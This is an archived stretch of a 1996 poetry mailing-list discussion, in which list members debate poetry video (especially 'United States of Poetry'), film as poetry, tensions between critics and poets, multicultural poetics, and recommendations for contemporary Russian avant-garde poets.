Not surprising that Joe liked the Eigner piece the best: I ll bet it s his fave poem as text, too. So I ll take it as a compliment, and I ll pass it along to the director, Mark Pellington, who was the other major collaborator with the poets and me. Even though the piece was a documentary-style, more MTV-ish. When I think of the wrong steps we almost took....suffice it to say it was a battle to keep Larry s voice in, and that along the way Grenier, Foley and Watten all helped in the process. Because to make that poem took a whole different pencil/typewriter/computer.

I ll reply more later, esp. Amato s _hilarious_ poetry video filmscript (more camera angles, pulease!) and the John S Hall controversy shortly. I d appreciate your letting me know if you hear any of the USOP soundtrack (Mouth Almighty/Mercury Records). Happy National Poetry Month.

Bob Holman

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102. **mikl-em**
Re: who's cooking and who's in the fire
Fri 5 Apr 1996

---

yunno, I still haven't seen the USOP vid, but Joe's probs with the Hall piece brought me out of my lurk,

I think you nailed it right off Joe with the opinion that Hall is a comedy routine, as Maria is right on that Lenny Bruce can be reckoned with in the terms of poetry

but let me stick with comedy for a second to make my point and then I'll try to transpose it: I've heard Hall's stuff for a long time, Chris S mentiond a couple ofhis old pieces, these fall more into the "charming naive" field that Chris D brought to light a while back,

but there is this tendency --I believe becuz the Bulk of people in this country wrongly think that there is no poetry for them-- to say "um, poetry is still-born, but long-live SPOKEN WORD!"

and that is bunk becuz besides turning away from written poetries and other creative a-fictions, there are a lot of legitimate oral-poets that are outside of Literary circles, more in the realm of music, folks like Gil-Scott Heron, Mutabaruka, Jim Carrol's work <the _Praying Mantis_ lp> who are now on this silly secondstage-palooza event of Spoken Word with Rollins, Hall, Jello Biafra and others--Howard Stern will probably have a spoken album out soon, and I wouldn't blame him but the people who buy it.

as i meant to say, I compare Hall's comedy with Dave Barry's writing or Mark Leyner, all of them can generate some Great material--so can Rollins--but at that point, what happens? (joe, "hall's is well-wrought in the context of his own aesthetic") well if not the wroughting, let's blame the aesthetic.

any creator is ultimately responsible for the work he puts out--to me that means that all the critical opines upon it are welcome, it is like water-testing a new boat or something, that is to say that if you left a sharp edge then either you left it for a reason or you knew it was there somehow, that's what an artist does and why it is important and why it is not easy.

and I don't see that kindof responsibility taken by the artists I just mentioned, and it is one thing if it is improvised and another if it is a studio recorded or frequently read piece, particularly it disappoints me in leyner becuz his work is really funny, but doesn't leave me with the satisfaction of say Tom Robbins best work which is Wrought well [done well cooked to the finest of degree].

it is that suggestion that this is something cooked, and you bite into it and of course you feel a bit queasy --I kno that I've altered the idea of raw-cookt that we'd discussed earlier, but I trust it makes my point--

and I think that that can be applied to poetry as well, and maybe take me back to the original idea of the raw-cook chotomy, either you chase down all the connotations and srestle the dogs, tie their ankles in aknot, or you create a field which somehow activates the varying threads perhaps playing on the obvious bias or courting contradicitions, so that what is left out or not addressed is a par t of the aesthetic as much as what is in.

and the c-naive folks work alot of the time on Instinct for what is better unaddressed to be more successfully dealt with, it needn't be entirely conscious. did someone say Patchen again?

and unfortuantely video and recording spoken performances don't generally take themselves as seriously <whether comedy or serious> probably becuz they locate themselves more within the context of tv than literature. But I believe that things will get better, they will also get worse.

well, that's about 18 bucks and change, so I'll go back to lurk.

mikl.

↑ Index

103. William M. Northcutt
Re: Not more Pound!
Sat 6 Apr 1996

Hey, Mike, congratulations!

I had a similar experience, except that my son muttered something about building a hut out of clay and wattles, and my daughter sang, "Scuse me while I kiss the sky." And still the dialectic continues....

William

William Northcutt
Anglistik I
Universitaet Bayreuth
95440 Bayreuth
Tel: 44 921 980612
Fax: 44 921 553641

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104. Michelle Roberts
Re: contrasimilac
Sat 6 Apr 1996

Please, y'all, consider this a modest offering.

Ever since I started work on a creative master's thesis, in which I had to play both poet and critic, I've wondered waht eht tension is between "writers" and "critics". I tend to think it's the result of there being some really flat critics out there, really uninspiring critics. I've always thought that a critics job is, among other things, to make the reader of a peice of critique WANT to read the piece of literature. To be a creature who allows themselves to be in a state of wonder and to offer that to the rreader, simply to offer them an "in". Please don't accuse me of being naive and utopic, I know I am. I think that a critic needs to have both a rigorous insight and a great care for the works they work on. Most don't, and some don't have either one. My own is not the only work I've written about critically -- can't get through grad school that way -- and since I wonder how I would even mannage to find anything to say about a work that I didn't feel care and respect for, I wonder how those flat critics do it. And, while I'm on the subject, how do y'all feel about the idea that critique is just as creative an act, albeit in another direction, as writing poetry or fiction or philosophy is?

Also, I s'pose I'm writing this becasue I don't what hte tension between author and critic accomplishes. Do critics get their feathers ruffled over this?

Curious,
M.

Meaghan Roberts | ... in our interpreted world...
Ph.D. Candidate - Ethics and Literature |
The University of Texas at Dallas |
[redacted] |

↑ Index

105. Aldon L. Nielsen
Re: Essex Hemphill
Sat 6 Apr 1996

I have to admit that I am not as big a fan of the films & videos of Marlon Riggs as everybody else seems to be, but _Tongues Untied_. mentioned here by Emily, has also, now, for me, the quality of a memorial. Not only is the maker of the film now deceased, but the poet in the film, Essex Hemphill, has since died. Essex was a powerhouse for poetry during the days when we both attended what was then called Federal City College. We first met as admirers of one another's poems in one of the college mags. Shortly thereafter he began his magazine,

Nethula, which was a wonder of eclectic and electric editing while it lasted. Near the end of his life, Essex's poems & prose were finally published in a readily available edition, still on the shelves in many stores -- But that slender book gives no sense of the full energies and the generosity of this tireless propagandist for the imagination. Essex was a courageous friend and poet all his life -- and _Tongues Untied_ will at least give a glimpse of what it was like to know him --

↑ Index

106. Aldon L. Nielsen
Re: Kaufmania
Sat 6 Apr 1996

Cranial Guitar just showed up on this coast today, so haven't had time to roam through it yet -- but, thought Kaufmanophiles would be innerested to know

an odd little book pub'd in '93 by Graywolf press has one of the oddest takes on BK I've ever seen (the author, for example, believes the story about Kaufman running arms for the Likud, but does not believe Kaufman's silence was deliberate) Book is titled _Episodes_ and is by Pierre Delattre, who will be well known to old San Francisco folk from his days at the Bread & Wine Mission -- also has funny tale of his involvement in the disastrous movie of Kerouac's _Sunbterraneans_

Maria -- does the secret essay whisper? can I get a copy?

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107. tosh berman
Re: my script for a poetry video...
Sat 6 Apr 1996

> ---
> *oh well, my yahoo-ism doubly underscored...didn't buster do anything about hanging on the arm of a large clock? i mean hand?*
> *md*

No, Buster was not that scary. His ability to move with time, space, objects, and god knows what else was amazing. He just accepted all the elements, objects, and most important - space. I think space is important in poetry, and Keaton's sense of space in his films were remarkable. Not studied, but more that he had an expression of knowing the right place at the right time. Now, is that not poetry?

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108. Ron Silliman
poetry, video, film, etc
Sat 6 Apr 1996

Chris & Charles,
>
>> Well, my favorite poetry video is
>> "THE ADDICT WHICH IS DESIRE"
>> starring the UNABOMBER as Ezra-Pound....
>>
>> but, seriously quertzblatz guyzies,
>> CHAX could've at least mentioned JLG-
>> especially the foreign film subtitle effect
>> which I always thought would be great in
>> american films by poets.....
>
>
>well, sure, and I like eric rohmer for making films of just yakking
>
>but as poetry, I have to get in a plug for stan brakhage, who has
taught me
>a thing or two or three about light, and that's worth a lot more than
the
>price of admission
>
I'd add anything by Dziga Vertov or Michael Snow. Also, there was a film in the early 70s or thereabouts called "Frank Film" by Frank Mouris (I think that's how he spelled his surname). It piled up images in a way that made it quite apparent could be done for language -- with the use of multiple soundtracks that were completely intelligible.

Among our contemporaries, Abigail Child and Henry Hills have each made several luminous and wonderful films. Abby's films, or at least some of them, are available on video -- I remember that we used some of them once at a fundraiser for Socialist Review. (Wish I recalled where/how one could rent or buy those.)

I'm a total sucker for the Godard of the late 60s and for the Fassbinder of the 70s. But I think that's another story...

Charles,

The Bounty has arrived and it's another beautiful book from Chax. Congratulations!

Ron Silliman

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109. **Maria Damon**
Re: my script for a poetry video...
Sat 6 Apr 1996

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tosh writes: Now, is that not poetry? (keaton)

well sure. thanks for setting me straight. i'll try to rent some keaton films and groove to the move. i've got a vcr for a week cuz a lady's staying w/ me who got kicked out of her other place. watched black orpheus, had never seen it, found it embarrassingly primitivistic after all the hype. but the leads were very cute and the dancing was nice. i don't really know what's at stake on this list in determining what "is" and "isn't" "poetry" --in the context of this haute-haute list, i'd argue for a wider definition of poetry than seems admissible in POETRICKS discourse --perelman once remarked when i described my classes to him, that it seemed i was aiming to have students cultivate their "sociolinguistic awareness of their environment" or some more elegant and descriptive phrase. what beyond that, he asked. i sd, if i cd do just that, esp in minnesota, where words are considered the devil's work, i'd be happy.

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110. **Maria Damon**
Re: Essex Hemphill
Sat 6 Apr 1996

---

aldon; what's your critique of marlon riggs's films? i've never heard from anyone who wasn't a total fan. waiting w/ bated breath...maria d

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111. **Maria Damon**
Re: contrasimilac
Sat 6 Apr 1996

---

meaghan roberts: as a "critic," i feel somewhat defensive about critic-bashing, and academic-bashing, in the "creative" writing world. as a poetry person, i feel defensive and somewhat disgusted by academic critics' dismissal of writers as naive, scary, anarchic. it's worst among grad students, who are learning the ropes and thus exaggerate the prejudices of their more advanced colleagues -- the anxiety that comes over them when asked to do something that dosn't track

neatly into the categories they're busy trhing to learn. but that's understandable. i feel more exasperation with my more advanced colleagues who don't "get" that the study and practice of literature can involve joy and spontaneity. it's a kind of fearfulness that may plague every institution, but i see it writ large at mine.

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112. Walter K. Lew

Re: poetry video...

Sat 6 Apr 1996

Dear Maria, I'm back from a wonderful trip to Montreal. I'm having real problems sending (but not receiving) email and may have to resort to writing letters again, but here's another try. I'm keeping it short as a trial to see if transmission has improved. The Coffee House pilfering and then erasure of your work is horrible--I've been through it before, as I think you know (for example, my Excerpts from Dikte was deliberately left out of the bibliography and history of Cha criticism in Elaine Kim and Norma Alarcon's book of essays on DICTEE) and it's happening now with Premonitions on another level (Kaya's not paying royalties to me and refuses to recognize my copyright, etc.). What a bunch of shit-greased weasels. Which reminds me of my mother's helpful proverb: You don't stab shit, you walk around it. Also: You walk around shit, not because you're afraid of it, but because it stinks.

And thanks for hanging in there against all those bolo-headed comments on poetry + video. I would have joined in by now if I hadn't been in Canada and if I could fuckin transmit these things out of my computer box into your living room. The USOP event sounds like it was fun and had great eats--when I told Julie, however, she was surprised: I guess by the time she got there the food was gone. How come you didn't make sure my lovely bunny was fed to her heart's content? I always make sure she doesn't drive on an empty or cold stomach. She's in Greensboro, SC today giving a paper on Asian American poetry at the MELUS conference, which seems poorly organized, but one of the few consistent places to meet other literary multiculturalists. By the way, how can we get more of them on that awfully white science and patriarchy-reproducing "Poetics" elist?

I'm sending this now in hopes of it reaching you,

Luv, Wally

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113. Julie Marie Schmid

Re: literary multiculturalism

Sat 6 Apr 1996

Dear Walter Lew--

I read your posting to Maria here and wanted to respond to your call for "literary multiculutralists." I recently joined the discussion group and have been skulking around the postings for about two months now. Like you, I would like to see the discussions opened up to reflect what's actually going on in the poetic community (whatever that means) a little more accurately. In other words, where is any sort of acknowledgement or discussion or rap, slams, dub poetry, performance poetry, the Last Poets, Nuyoricans or their countparts in Chicago, Black Arts, etc.? I'm particularly surprised that none of this has come up in the discussion of the USOP video--which, for all its faults, so clearly tried to celebrate the many poetries of the US. My own hunch is that much of this poetry is still read more as some sort of social or historical documentation a la cultural studies rather than as art or poetry. (I am writing this with the full realization that these are all loaded terms and that someone is going to jump down my throat for this.) I was struck by Maria D's comment a couple weeks ago about her inclusion of the young poets from Boston in *The Dark End of the Street* as being read as a "political" move rather than as her appreciation for the poetry. It's interesting that this sort of blatant classism is still foregrounded in our evaluation of poetry. This really hits a nerve for me, as you can tell, because much of my own work has been on urban (often bilingual) poets and poetry that people keep insisting that I read as artifacts of post-colonialism, racism, etc., but not as beautiful and moving poetry--as if these poets aren't consciously and consistently crafting language--really hearing what happens between languages, and also as if there is a tangible difference between political and aesthetic categories.

Anyhow, Walter(and whoever else out there is reading this), the point of this diatribe is to let you know that I would be more than willing to discuss a multicultural poetics with you or anyone else, either here or via my email address.

Cheers,
Julie Schmid
[redacted]

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114. Patrick Foley
Re: my script for a poetry video...
Sat 6 Apr 1996

> *i'll try to rent some keaton*
> *films and groove to the move.*

Start with _The General_ Maria.

Cheers, Pat

<[redacted]>

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115. tosh berman
Re: my script for a poetry video...
Sat 6 Apr 1996

> *tosh writes: Now, is that not poetry? (keaton)*
>
> *well sure. thanks for setting me straight. i'll try to rent some keaton*
> *films and groove to the move. i've got a vcr for a week cuz a lady's staying*
> *w/ me who got kicked out of her other place. watched black orpheus, had*
> *never seen it, found it embarrassingly primitivistic after all the hype. but*
> *the leads were very cute and the dancing was nice.*

I have always had/have/ a strong interest in the relationship between poetry and film. Many of the early french filmmakers were poets, or at least writers. The early experimental french Filmmakers were influenced by poetry i.e. Cocteau, Man Ray, Duchamp (his one film is text base as well as visual - of course), Durac, Bunuel,etc. Also many poets are huge fans of the cinema - including Wieners, Cendrars, all of the Surrealists, etc. It will be interesting to collect a series of poems that deals directly with cinema for an anthology. I know there has been collections under that theme - but not in my opinion a serious anthology that deals with the direct influence of cinema on poetry...or poems that have strong cinematic images, or direct comments on particular films. ...and yes, in my mind, Buster Keaton wrote poetry on a projecting light!

tosh

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116. Tim Wood
Re: poetry video...
Sat 6 Apr 1996

Joe,

I still haven't seen all of USoP, unfortunately. It won't screen here in its entirety until later this month, so wait. Several segments were aired at the Dallas Video Festival in January, including the one with Eigner. Agreed. One of the reasons it does work is the silence and spaces. Another intriguing thought your email raised was the question, in video, of what consititutes silence. There was no true silence in the Eigner piece, with the constant rain. But, it created significant spaces and for the average American, those spaces were so quiet, they might as well have been silence.

Wanda coleman doesn't ring a bell, but hopefully I'll see her work when the whole thing screens here.

Tim

> *re poetry videos in general, the united states of poetry in particular, which i just yesterday had a chance to view in toto: some poetry videos seem to work better---much better---than others, *as videos*... the son et lumiere effect represents a different art form, just as music videos represent a different art form than the music alone... when these latter first came out (in the contemporary mtv scene, i mean) there were many musical 'purists' who objected to same...*
>
> *the difficulty is that most music videos represent a translation from one pop cultural venue to another, whereas to transfigure poetry as video, as in the united states of poetry, tends to move poetry into a pop cultural format---with which it's not always associated, depending on the community... there's also the oral/aural motioning of our culture in general, and how this 'plays into' the video format in ways that sheer sound alone may not... in terms of poetry, sound alone may offer more resistance than video to commodity pressures...*
>
> *but this depends, and yeah, there are risks here, fer sure... i found wanda coleman's video successful precisely b/c it challenged the rec'd qvc-tv format... that is, it subverted the consumer venue AS venue... sure, there are some works about which it might be argued that they are inherently more performative... but interestingly, the least performance-oriented video---"performance" here taken to mean something like 'entertainment'---was larry eigner's... and for me, this was far and away the most fascinating display of poiesis, hence from another pov the finest performance (and i don't mean at all to suggest that the eigner video required less active work for the film crew editor etc)...*
>
> *mebbe the most valuable aspect of the united states of poetry, for me, was its celebratory sense of a diverse culture with diverse voices---a diverse practice... this format works best for me in small doses, in part b/c so much of what i find crucial to poetic practice simply can't be 'visualized,' IS about the silences & solitudes attendant to writer-speaker/reader-listener interaction (even during the noisiest,*

> *community-based readings) as opposed to the singular Self espousing to the mass (anonymous) audience... but like all formats, video is surely a format that poets can learn from and work with, no?...*
>
> *joe*

in space no one can hear you scream in Dallas no one cares...

Check out the Voices new poetry website at http://www.connect.net/twood/
the Word, Dallas' monthly arts guide: http://www/connect.net/twood/word.html
poetry & video poetry ---- graphic design & database development

↑ Index

117. Tim Wood

Re: poetry video...

Sat 6 Apr 1996

I want to thank everyone for the flood of responses. Just a few thoughts to clarify what I'm up to..

I'm not interested in poetry documentary. Documentary is nice. And I think it would help a lot of the so-called performance poets out there to videotape themselves as a form of self critique/directing. But, I'm more interested in work in which the visual is used artistically, as well as the words. In the case of USoP, much of the visuals are of the poets performing, but there's some very intense post-production applied to shove the work out of the documentary realm.

United States of Poetry was not what kicked this research off. I've actually been working on the research as time permits for about a year now. I found out about USoP because someone mentioned Bob Holman's name and gave me a phone number. Anway, not to take anything away from Bob's work, but I'm not jumping into this research because poetry video has all of a sudden become hip.

USoP is definately not the be-all-end-all of poetry video. It's definately the most accessible, commercial interpretation of the media. But, there's a lot more to be seen out there. Now if I could just get at more of it... all things come to those who wait?

Again, thanks for the responses & (I hope) the ones to come. Illuminating, insightful, occasionally argumentative, but worth the ride, as always...

Tim

in space no one can hear you scream in Dallas no one cares...

Check out the Voices new poetry website at http://www.connect.net/twood/
the Word, Dallas' monthly arts guide: http://www/connect.net/twood/word.html
poetry & video poetry ---- graphic design & database development

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118. **Tim Wood**
Re: poetry video...
Sat 6 Apr 1996

Joe,

I'll jump in on this one. I think we're running into a combination of factors here. For once, admitting I'm (just) under 30 may have an advantage. There is something to be said for the generational difference, primarily in terms of what might variously be called cultural literacy or environment. Extreme immersion in the visual seems to be a hallmark of the generation I'm at the older end of and has created a markedly different perspective.

At the same time, we're also running into the current hippness of slam and "performance" poetry. It's a sad statement that too much of that category of work is about shock, sex, violence and entertainment to win the night's prize. That observation has little to do with generational gaps. I've seen a fair share of people of the "baby-boomer" generation down at the weekly slam throwing about their fair share of image shock.

At the same time, there are a fair number of younger poets lurking around that are very interested in craft. One of the notes on poetry video dismissed the whole media. It's an interesting thought, because I find myself in a very ambigious (I could be academicly appropriate and say mix of subversive and...) position with regards to video. It's a fact of life. It's powerful and still a very young vibrant media. But, it is ripe for a major marxist critique, vis a vis Marcuse's thoughts about one dimensional man, video as the modern opiate of the masses, etc.

So, shall we say that the media intrigues me. I feel myself caught in a similar trap as many postmodern artists in general: being inescapably caught in something in dire need of critique. It's a sad sort of statement that Derrida (pardon the loose paraphrase) was right about not being able to escape the framework we're part of...

Tim

> *maria, that's just it: i'm feeling at once tightass and justified in observing that the hall video---while a 'relief' in some ways from the adjacent work---is playing to a distinctively different crowd... in fact surfacing a key element at work in usop, which has to do (much) less with*

> *poetry than with (a peculiar kind of) spectacle... which doesn't necessarily contribute to a better poetic environs...*
>
> *interesting that another student in the class remarked, in general, that with a product to sell, some of the usop spots would make terrific commercials... and another observed that she stopped listening to the words after a while (thus an argument against video enhancing the audio)... just so's i don't give the impression that the folks in my class aren't thinking...*
>
> *but i think, at the very least, that usop is playing to a different audience than the one hereabouts, on poetics... in general, i mean, and i wonder if the difference between mself and the members of my class has less to do with my poetic background per se than with some generational differences in our response to image technologies... as much as i like to think of mself as hip, i mean, we're separated by approx. 20 years...*
>
> *but mebbe i'm being *too* generous!...*
>
> *best,*
>
> *joe*

in space no one can hear you scream in Dallas no one cares...

Check out the Voices new poetry website at http://www.connect.net/twood/
the Word, Dallas' monthly arts guide: http://www/connect.net/twood/word.html
poetry & video poetry ---- graphic design & database development

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119. Joe Amato
Re: Not More Pound!
Sat 6 Apr 1996

---

mike, sorry this is latecoming, my mail system is acting up... anyway, congratulations on your new arrival!...

best,

joe

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120. Sheila E. Murphy
new address for Sheila Murphy
Sat 6 Apr 1996

Please be advised that I have a new e-mail address:

Sheila E. Murphy
[redacted]

I'll be co-subscribed for a few weeks to ensure that all mail is properly received. Just wanted to alert anyone who plans to contact me backchannel.

Thank you.

SEM

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121. chris daniels
FW: Sampling frenzy
Sat 6 Apr 1996

--- On Sat, 6 Apr 1996 03:43:07 -0800 Mark Terwilliger
<[redacted]> wrote:

> *Chris*
>
> *from a techno-legal site:*
>
> *For those worried about the death of copyright, or at least its reported ill-health, a copyright infringement case last week held that the use by recording artist Hammer of the repeated phrase "uh- oh" in his song "Here Comes the Hammer" could constitute copyright infringement. The court*
>
> *in Santrayll v. Burrell concluded that a one-measure "hook," consisting of*
>
> *the word "uh-oh" repeated four times to a distinctive rhythm, contained sufficient originality to be protectible by the copyright laws.*
>
> *How now, cash cow?*
>
> *cheers*
> *mark*

---
christopher daniels <[redacted]> 4.6.96 3:27:10 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wuorinen

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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122. David Baratier
contrasimilacrum
Sat 6 Apr 1996

Been off line for a bit, so ...

As far as reading a poem or poet due to a book of criticism
That's nice. Albiet rare. It's been my experience
that recent criticism includes such a sparsity of quotes,
such a poverty of experience to rely upon, only the barest minimum
necessary to validate the particular critical lens.
That has become the net value of poetry for most critics.

Take McGann's Black Rider for example please. See what perspective one arrives at of Laura Riding Jackson's work by reading the pieces quoted. Then keep in mind the fact that at the time of Black Rider's release, Persea hadn't re-released the collected poems , Chelsea had sold out of their LRJ issue, essentially nothing was availiable (Unless you count searching through the individual pages of the out of print collected from the seventies, the *unbinding* one).

I find a few mentions of a text hardly enough to pick it up, rather it's comparisons, mentions of the subject material, and the passion of another reader that lend my eye to any book's pages. Unfortunately the binary dicotomy of much of the criticism hinges on one strand:

You either create the work or insult it.

David Baratier

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123. Louis Cabri
for p. quartermain
Sat 6 Apr 1996

I'm interested in what history there may be to the term "disjunctive." Is there anyone who can help me in my Raymond Williamsesque quest? Is Peter Quartermain the first to use it in the sense of (his book title) Disjunctive Poetics: From Gertrude Stein and Louis Zukofsky to Susan Howe? It seems evident that he uses the term in order to describe a diachronic axis of formally innovative change, and in order to distinguish what he is doing from someone else wanting to constitute a tradition, and he does this as one who is interested in how social (especially linguistic) histories saturate said formal innovation in specific, discontinuous ways. I'm searching for other literary critics and poets, rather than, say, philosophers (e.g. Foucault, Deleuze). (And Barthes's "writerly" seems very different.) The broader question for me is in how some terms, for instance "the disjunctive," come to unreflexively patrol the limits of critical discourse (its rationality), reproducing, besides the carrot of new understanding -- for instance, of literary & social diachrony when not tied to tradition -- something less spectacular and more specular: a normative reader reproduceable in/for the academy. (Of course I'm definitely not saying this happens in Peter Quartermain's book, which, for those who don't know it, is fabulously inspiring.)

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124. Jena Osman
Re: poetry video...
Sat 6 Apr 1996

Tim Wood wrote:
>
> I'm not interested in poetry documentary. Documentary is nice. And I
> think it would help a lot of the so-called performance poets out there to
> videotape themselves as a form of self critique/directing. But, I'm more
> interested in work in which the visual is used artistically, as well as the
> words. In the case of USoP, much of the visuals are of the poets
> performing, but there's some very intense post-production applied to shove
> the work out of the documentary realm.

Coincidentally, there was a conference on poetry and video at SUNY-Buffalo this past Friday, organized by Mac Hammond and Tony Conrad (with a lot of help from Kristin Prevallet, I believe). The conference did a good job of presenting "poetry documentary," as well as the more "artistic" efforts asked for above. Viewings included:

--Chris Funkhouser demonstrating the poetry CD Rom he constructed which, from the little I saw, is a really amazing project (although somewhat inaccessible--you need an IBM CDRom machine) You can point and click on the names of a number of poets; for example, click on the name Ben Friedlander and you will see a handwritten manuscript of one of his poems. The next screen is a typed copy of the same poem with edits--meanwhile the sound behind this image is of Ben typing the poem on his manual typewriter (complete with carriage returns and cursing under the breath at mistakes). Each screen that follows leads to the next draft, until finally you hear Ben's voice reading the poem out loud. This format seems to allow for the idea of poetry as organic process (continually changing, never finished) in a way that video really can't.

--a compilation of local poetry videos by Mike Basinski, Alicia Cohen, Mac Hammond, Jody Lafond, Kristin Prevallet, and others.

--excerpts from USOP (which I found quite enjoyable, but I thought it was strange to have music constantly behind the images and words--the sections I saw gave little room for silence).

--Fanny Howe's _What Nobody Saw_: this video was definitely the highlight for me. I think it comes closest to what Tim Wood may be looking for. The images worked with the words in a truly evocative way so that they were in fact the _language_ of the poem (as opposed to an illustration of it).

--excerpts from the 19th and 20th San Francisco Poetry Film Festival (including work by Robin Marlowe, Levni, Patricia Smith, and John Knect)

--videos from the New England Poetry Video Festival (Nina Hasin, Kurt Heintz and Patricia Smith)

--clips from the _Word Up_ Collection by Jill Battson--more in the "poetry documentary" vein for Canada's equivalent of MTV.

Jena Osman

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125. Thomas Bell
Re: poetry video...
Sun 7 Apr 1996

Being currently obsessed with word order mangling I'm led to ask if poetry video differs from video poetry or vidic poems or poetic videos or 24 straight hours of CBS with it's hypnotic rhythms - stop! this was a serious enquiry.

I have a memory from my days of learning to be a spy many years ago, too many, of seeing a clip of Yevtushenko reading to thousands of Bratskii workers

to tumultuous acclaim. Might this still exist? Would it qualify as MTV? Or TNN (The Nashville Network), a goldmine - or spanglemine - of poetry videos? tom

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126. Thomas Bell
contemporary Russian avant-garde
Sun 7 Apr 1996

---

i would appreciate leads on contemporary Russian avant-garde (I am aware of the pitfalls noted here of this name) poetry and poets - here or there, here or backchannel. tom

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127. Walter K. Lew
Re: Poetic Briefs
Sun 7 Apr 1996

I would like a copy of Poetic Briefs 20. Thanks.

Walter K. Lew
8 Old Colony Rd.
Old Saybrook, CT 06475
[redacted] (phone & fax)

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128. Albert Cook
Re: for p. quartermain
Sun 7 Apr 1996

On disjunction, see William Sylvester, "The Existence of a Disjunctive Principl e in Poetry: A Preliminary Essay," COLLEGE ENGLISH, January, 1967, 265-272.

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129. Ron Silliman
Re: contemporary Russian avant-garde
Sun 7 Apr 1996

A good place to begin would be THIRD WAVE: The New Russian Poetry, edited by Kent Johnson and Stephen Ashby with an afterword by Mikhail Epstein (paperback from U. Michigan Press). It's eclectic and pretty accurate to the scene (i.e., it doesn't have all the axes to grind that equivalent US anthologies always seem to have -- maybe because Johnson & Ashby are outsiders to the scene).

Thanks to Lyn Hejinian, John High and others, a fair amount of current generation Russian work is making its way slowly into English. Five Fingers Review in SF has published a lot in several issues. Books also abound. The major names are:

Alexei Parshchikov (a book is out from Avec)--he was a very successful journalist as well as a poet under the old regime, but hasn't made the transition to the new one well. After a stint at Stanford, he returned to Russia and was (last I heard) pretty much living on the streets of Moscow Ilya Kutik (Kit Robinson's luminescent translation of his long ode just came out from Alef(?) press) -- he is living in Evanston, IL these days. Kutik was the young phenom of the scene at one point, now in his mid 30s Arkadii Dragomoshchenko (Sun & Moon has published one book, trans. by Lyn Hejinian, and I believe another is due)--the major St. Petersburg poet (most of the others in this list come out of Moscow as a literary "scene") Nina Iskrenko (she just died this past year -- I think John High must be working on a book of her work since they close and even published together -- one of those odd 2-in-one books where each poet has half of the book which flips upside down in the middle, pretty common in Russia) Dmitri Prigov (a performance poet as much as anything else, sort of a Rasputin mixed with Bob Holman, out of Moscow) Nadezhda Kondakova (somewhat older than these other writers -- she was instrumental in many of them getting into print once glasnost started to take place)--she's been a major figure in Russia for 25 years, the first one on this list to have been accepted by the Writers Union Ivan Zhdanov (terrific oral poet from Siberia, but with a lifestyle that is the Russian equivalent of Gregory Corso, just shy of being a street person -- lives in Moscow -- wasn't Clark Coolidge doing some translations?? I never saw them.) Yuri Arabov (a film-maker as much as a poet) Viktor Krivulin (another poet from St. Pete -- he started the first samizdat journal in the 1970s devoted to poetic theory).

I think Kit Robinson is lurking on the list these days (Hi, Kit -- I'll be in SF at the end of the month) and could add lots more detail to this. Is Jean Day on the list? If so, she could do likewise.

Ron Silliman

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130. Robert Drake

Re: contemporary Russian avant-garde

Sun 7 Apr 1996

> *i would appreciate leads on contemporary Russian avant-garde (I am aware of the pitfalls noted here of this name) poetry and poets - here or there, here or backchannel.*

pulling scatterd frm the shelf:

collections:

Johnson & Ashby eds.: _Third Wave: The New Russian Poetry_ U. Mich.

Five Fingers Review #8/9 1990

Gerald Smith ed: _Contemporary Russian Poetry_ Indiana U. 1993

individual poets:

Arkadii Dragomoschenko: _Xenia_ (1994) & _Description_ (1990), Sun & Moon

Alexi Parshcheikov: _Blue Vitrol_, Avec

Rea Nikonova & Serge Segay: _Flacid_ Luna Bisonte 1990; _Made in Zaumland_ & _Of Tonesharl'_ xexoixial endarchy; and an interview in _TapRoot Reviews_ #5...

related:

Charles Doria ed _Russian Samizdat Art_, Willis Lockler & Owens

several books by Gerald Janecek (fr historical perspective, particularly on visual lit & zaum)

--lbd

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131. Robert Drake

Re: contemporary Russian avant-garde

Sun 7 Apr 1996

&*&*&!!!

have a postcard here frm ed foster, announcing: "PROSPECT: 2nd festival of russian & american poetry & poets"... may 23-26, stevens institute of tech, hoboken nj, cheap.

postcard lists participants:
Arkadii Dragomoshchenko, Vadim Mesyats, Maya Nikulina, Lev Rubinshtein, Elena Shvarts, Ivan Zhdanov, Bruce Andrews, John High, Eileen Myles, Leslie Scalapino, Aaron Shurin & John Yau...

telephone [redacted]; email [redacted].

was this already announce here & i missed it? hope somebody sends a report...

lbd

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132. Mark W Scroggins
Re: contrasimilacrum
Sun 7 Apr 1996

David: are you sure about Persea's Collected Riding? The cover on the paperback I see in stores now is identical to the one they've been selling for years and years--has it even ever gone out of print? (I bought a friend a copy about a year before Black Riders came out, and the same edition's still available) Mark Scroggins

↑ Index

133. Joe Amato
Re: Poetry video
Sun 7 Apr 1996

thanx to bob holman for his generous, generous remarks re controversy over usop... and to mikl and maria and tim and others for subsequent ruminations... again i find mself asking questions upon questions, w/o any hard-and-fast answers... but with as usual a few surmises...

i wasn't certain i followed bob about the eigner video, which seemed to me the least mtv-based... but in any case, yes---i really do have high regard for eigner's poetry, but i also loved "i'm stuck in a poem," baraka's "if the flag catches fire," the "it's about you, girl" spot---have to watch it all again to know who in hell is even doing some of this work, some of which is not and some of which is quite fabulous in my view... i still have my concerns about degrees of commodification and such, but here i'll take a different tack...

the remarks about poetics as a white patriarchal entity are accurate enough, sadly, though i sense no conspiracy around here... rather, those of us who are white/male (mself included) as usual feeling freer to speak out (aka post) due no doubt to the cultural realities shaping these our more public spaces... so mea culpa, and forgive me if i haven't said it more clearly till now: i for one welcome any and all talk of multicultural poetics, slams, etc... in fact i'd hoped that my comments about usop would help instigate what i see as necessary discussion of these other poetry communities and practices and people---*whatever* my thinking is regarding same...

for example, mself being a kind of observer at all slams i've been to here in chicago, the guy who's biting his potentially sarcastic tongue at times, though hardly tongue-tied... but trying (believe me!) to get into the spirit of things... again, i'll make no excuses for entering into said fora or exchanges with critical apparatus intact, which in my view (for me) means with poetic apparatus intact (just to gloss quickly the poet-critic couple, which has been a problem for me

for some years now given that i have a book of *criticism*---or is it?---written in lines coming out on suny press some year soon)...

